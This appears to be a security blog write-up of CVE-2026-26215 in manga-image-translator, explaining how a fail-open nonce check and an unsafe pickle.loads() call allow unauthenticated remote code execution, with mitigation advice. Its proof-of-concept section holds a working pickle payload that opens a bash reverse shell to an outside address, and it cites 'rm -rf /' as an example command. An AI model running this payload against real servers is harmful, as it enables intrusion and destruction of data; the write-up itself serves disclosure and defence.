Feb 12, 2026·5 min read·41 visits
A logic error in the `check_nonce` function causes the API to skip authentication entirely in default configurations. Combined with an unsafe `pickle.loads()` call on the `/execute` endpoint, this allows unauthenticated RCE.
Translating manga is an art form. Translating arbitrary serialized Python objects into a root shell, however, is a science—specifically, the science of insecure deserialization. CVE-2026-26215 is a critical vulnerability in the `manga-image-translator` project that combines a classic `pickle` vulnerability with a hilariously broken authentication check. Because the developers relied on Python's truthiness logic for security configuration, the default installation leaves the front door wide open, allowing unauthenticated attackers to execute remote code on high-value GPU instances.
In the world of automated scanlation, manga-image-translator is a popular tool. It uses OCR and inpainting to erase original text and replace it with translations. Because this is heavy work, the tool supports a 'shared' mode (port 5003), allowing a central server with a beefy GPU to handle requests from lightweight clients.
This architecture sounds great until you realize how the clients talk to the server. Instead of sending JSON or a defined protocol buffer, the application takes the lazy route: it accepts raw, serialized Python objects. And whenever you see a Python application accepting serialized objects over the network, you should instinctively reach for your exploit scripts.
The real kicker? The developers knew this was dangerous. They implemented a nonce-based authentication system to prevent unauthorized access. But as we'll see, good intentions pave the road to remote code execution.
There are two bugs here dancing a tango of destruction. The first is the obvious one: Insecure Deserialization (CWE-502). The endpoint /execute/{method_name} takes the HTTP request body and feeds it directly into pickle.loads(). The pickle module is not secure. It never was. The Python docs practically scream this in red text. If you can pickle it, you can own it.
The second bug is the Authentication Bypass, and it is a masterclass in why implicit boolean conversion is dangerous. The server is supposed to check an X-Nonce header against a stored secret. Here is the logic intended to protect the API:
# pseudo-code of the flaw
if self.nonce: # <--- The Fatal Flaw
request_nonce = request.headers.get('X-Nonce')
if request_nonce != self.nonce:
raise HTTP_401The variable self.nonce determines if auth is enabled. If the user doesn't provide a nonce argument, the code defaults it to an empty string ''. In Python, an empty string is 'falsy'.
So, if you run the server with default settings, if self.nonce: evaluates to False. The entire authentication block is skipped. The server effectively says, "Oh, you didn't set a password? I guess you don't want one. Come on in!"
Let's look at the actual code in manga_translator/mode/share.py. It's a short trip from input to execution.
@app.post('/execute/{method}')
async def execute(method: str, request: Request):
# ... checks ...
data = await request.body()
# BOOM: Unsafe deserialization
args, kwargs = pickle.loads(data)
# ... execution ...The CLI argument parser sets the default nonce to '':
parser.add_argument('--nonce', type=str, default='', help='nonce for shared mode')And the checker in share.py:
def check_nonce(self, request: Request):
# If self.nonce is '', this block is skipped.
if self.nonce:
nonce = request.headers.get('X-Nonce')
if nonce != self.nonce:
raise HTTPException(status_code=401, ...)This is a classic 'fail-open' design. Security controls should always fail closed (deny by default). If the configuration is ambiguous, the application should crash or deny access, not disable the lock.
Exploiting this is trivial. We don't need to bypass a firewall, we don't need to leak memory addresses, and thanks to the logic error, we don't even need credentials. We just need to craft a standard Python pickle payload using the __reduce__ method.
When pickle.loads() encounters an object with __reduce__, it calls that method to reconstruct the object. We can return a callable (like os.system) and a tuple of arguments (like ('rm -rf /',)).
__reduce__ returning (os.system, ('reverse_shell_command',)).http://target:5003/execute/foo.> [!CAUTION] > The following code is for educational purposes only. Do not test this on systems you do not own.
import pickle
import os
import requests
# The payload class
class Pwn:
def __reduce__(self):
# This runs on the server
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
return (os.system, (cmd,))
# Serialize
payload = pickle.dumps(Pwn())
# Fire
url = 'http://vulnerable-manga-server:5003/execute/dummy'
requests.post(url, data=payload)
print("Payload sent. Check your listener.")This isn't just a simple web server; it's a tool designed for GPU acceleration. Machines running this software are likely equipped with expensive hardware (NVIDIA Tesla, RTX series, etc.) to handle the neural network inference for OCR and inpainting.
Consequences:
rm -rf works just as well on your 10TB archive of scanlations as it does on system files.Since the application runs as the user who started it (often without containerization in hobbyist setups), the attacker inherits those permissions immediately.
The mitigation is two-fold: fix the logic, and banish pickle.
If you are running manga-image-translator, STOP right now. Set the MT_WEB_NONCE environment variable to a strong random string. This forces self.nonce to be truthy, enabling the authentication check.
export MT_WEB_NONCE="Sup3rS3cur3R@nd0mStr1ng!"
python -m manga_translator ...The fix involves changing the boolean check to be explicit.
Bad: if self.nonce:
Good: if self.nonce is not None:
Furthermore, the application should switch to JSON for serialization or use a RestrictedUnpickler that only allows specific, safe classes (like numpy arrays or simple dicts) and rejects global imports like os or subprocess.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
manga-image-translator zyddnys | <= beta-0.3 | N/A (See Issue #1116) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 | 9.8 (Critical) |
| Attack Vector | Network (HTTP POST) |
| Authentication | None (Bypassed) |
| Privileges | User/Server Context |
| Status | PoC Available |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.